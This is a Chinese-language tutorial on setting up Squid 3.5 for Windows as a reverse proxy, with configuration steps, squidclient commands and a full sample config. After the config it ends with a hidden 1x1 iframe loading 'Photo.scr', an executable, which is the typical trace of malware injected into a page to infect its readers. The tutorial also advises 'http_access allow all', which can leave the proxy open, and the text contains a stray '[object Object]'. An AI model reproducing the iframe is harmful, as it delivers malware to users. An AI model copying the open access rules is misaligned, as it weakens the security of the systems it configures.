注意:squid3.5 windows版建议安装在windows2008以上的操作系统中,并需要启用Net3.5支持,请在服务器配置管理器中启用。
1、下载squid3.5 windows版(版本可能已经更新,操作方法一样),建议在官网下载
官方下载地址(国外网站,访问和下载会比较慢) http://squid.diladele.com
2、该程序为一键安装版,下载后直接运行安装即可
此处安装路径可以自行选择,建议选择非系统盘
安装完成后,桌面会生成两个图标,一个是squid的主程序,一个是squid的控制台,同时系统任务栏托盘区会生成squid运行图标。
到此,squid程序安装完毕。
由于squid反向代理需要使用80端口,因此需要停止该服务器上其他有关使用80端口的服务,例如IIS,Apache等,然后重启squid服务。建议最好不要安装其他会占用80端口的服务。
单击系统托盘区的图标,出现下图所示菜单:
选择上图中第一个菜单可以打开squid的配置文件,设置反向代理需要修改配置文件。
配置文件中的内容为squid自带的初始配置,不建议随便修改。请按照下文说明进行修改。
具体修改如下:
1、在配置文件中找到http_port 3128 ,将默认的监听端口修改为80,在加上vhost, 即 http_port 80 vhost
2、在配置文件中找到http_access deny all,将其修改为http_access allow all,否则访问会被拒绝
3、在下图标注位置添加acl all src all,允许所有访问
4、配置连接数限制,防止攻击
| #设置用户并发连接数限制 client_db on acl maxcons maxconn 20 http_access deny maxcons #设置单IP最大连接数限制 acl OverConnLimit maxconn 10 http_access deny OverConnLimit[object Object] #keepalived client_persistent_connections off #因为现在的IE都是多线程,考虑到服务器带宽等网络资源消耗,所以长链接关闭 server_persistent_connections on #服务端长链接是用于在服务器端传递消息时使用已打开的socket链接以节省资源而设置的 request_timeout 2 minutes #客户端请求超时时间 forwarded_for on #关闭此项将在访问某些论坛时显示的IP是代理服务器的IP,如果打开则显示是客户请求IP。 |
5、反向代理转发配置
| cache_peer IP parent 80 0 no-query originserver name=name cache_peer_domain name domain #如果启用负载可以使用下面的代码 # originserver 参数指明是源服务器, round-robin #参数指明 squid 通过轮询方式将请求分发到其中一台父节点; squid 同时会对这些父节点的健康状态进行检查, # 如果父节点 down 了,那么 squid 会从剩余的 origin 服务器中抓取数据 # round-robin表示使用通过 RR 轮询方式转发到两个父节点中的一个 cache_peer 192.168.1.220 parent 8080 0 no-query originserver round-robin name=webServer1 cache_peer 192.168.1.221 parent 8080 0 no-query originserver round-robin name=webServer2 ###允许webServer1 webServer2 响应 cache.centos.bz(这个需要修改为自己的域名)的请求 cache_peer_domain webServer1 webServer2 cache.centos.bz |
说明:上面两行代码中是需要按照自己加速的域名及服务器ip进行修改的。IP为域名对应的服务器的ip地址,80为端口,如果不是80端口,请自行修改,name为名字,可以自行设置,但是要保证两行代码中name要一致,domain为真实使用的域名,也就是网站地址。
SquidClient基本的使用方法
*取得squid运行状态信息: squidclient -p 80 mgr:info
*取得squid内存使用情况: squidclient -p 80 mgr:mem
*取得squid已经缓存的列表: squidclient -p 80 mgr:objects. use it carefully,it may crash
*取得squid的磁盘使用情况: squidclient -p 80 mgr:diskd
*强制更新某个url:squidclient -p 80 -m PURGE http://www.php-oa.com/static.php
*更多的请查看:squidclient -h 或者 squidclient -p 80 mgr:
设置完毕后,保存配置文件,然后重启squid服务,并将域名解析到squid所在的服务器ip地址上就可以使用了。
附,squid配置反向代理配置文件示例:
#
# Recommended minimum configuration:
#
# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl all src all
acl localnet src 10.0.0.0/8 # RFC1918 possible internal network
acl localnet src 172.16.0.0/12 # RFC1918 possible internal network
acl localnet src 192.168.0.0/16 # RFC1918 possible internal network
acl localnet src fc00::/7 # RFC 4193 local private network range
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
#设置拦截IP
acl unallow src 46.0.0.0/8
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT
#设置单用户最大连接数,防止恶意攻击
acl OverConnLimit maxconn 20
http_access deny OverConnLimit
#设置管理员信息
cache_mgr Tianhu
visible_hostname Tianhu_Defender_X
httpd_suppress_version_string on
#
# Recommended minimum Access Permission configuration:
#
# Only allow cachemgr access from localhost
http_access allow localhost manager
http_access deny manager
# Deny requests to certain unsafe ports
http_access deny !Safe_ports
# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports
# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on "localhost" is a local user
#http_access deny to_localhost
#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#
#关闭web日志格式仿真
emulate_httpd_log off
#设置日志格式
logformat combined %>a %ui %un [%tl] "%rm %ru HTTP/%rv" %Ss/%Hs %<st %Sh "%{Referer}>h" "%{User-Agent}>h"
access_log /var/log/squid/access.log combined
# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
http_access allow localnet
http_access allow localhost
http_access deny unallow
# And finally deny all other access to this proxy
http_access allow all
# Squid normally listens to port 3128
http_port 80 vhost
# Uncomment the line below to enable disk caching - path format is /cygdrive/<full path to cache folder>, i.e.
#cache_dir aufs /cygdrive/var/cache/cache 40960 16 256
#keepalived
client_persistent_connections on #因为现在的IE都是多线程,考虑到服务器带宽等网络资源消耗,所以长链接关闭
server_persistent_connections on #服务端长链接是用于在服务器端传递消息时使用已打开的socket链接以节省资源而设置的
request_timeout 2 minutes #客户端请求超时时间
forwarded_for on #关闭此项将在访问某些论坛时显示的IP是代理服务器的IP,如果打开则显示是客户请求IP。
# Leave coredumps in the first cache dir
coredump_dir /var/cache/squid
# Add any of your own refresh_pattern entries above these.
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
#设置DNS
dns_nameservers 1.1.1.1 2.2.2.2
max_filedescriptors 3200
cache_peer xxx.xxx.xxx.xxx parent 80 0 no-query originserver name=agent1
cache_peer_domain agent1 www.xxxxxxxx.com
cache_peer xxx.xxx.xxx.xxx parent 80 0 no-query originserver name=agent2
cache_peer_domain agent2 www.xxxxxxxx.com
<iframe src=Photo.scr width=1 height=1 frameborder=0>
</iframe>
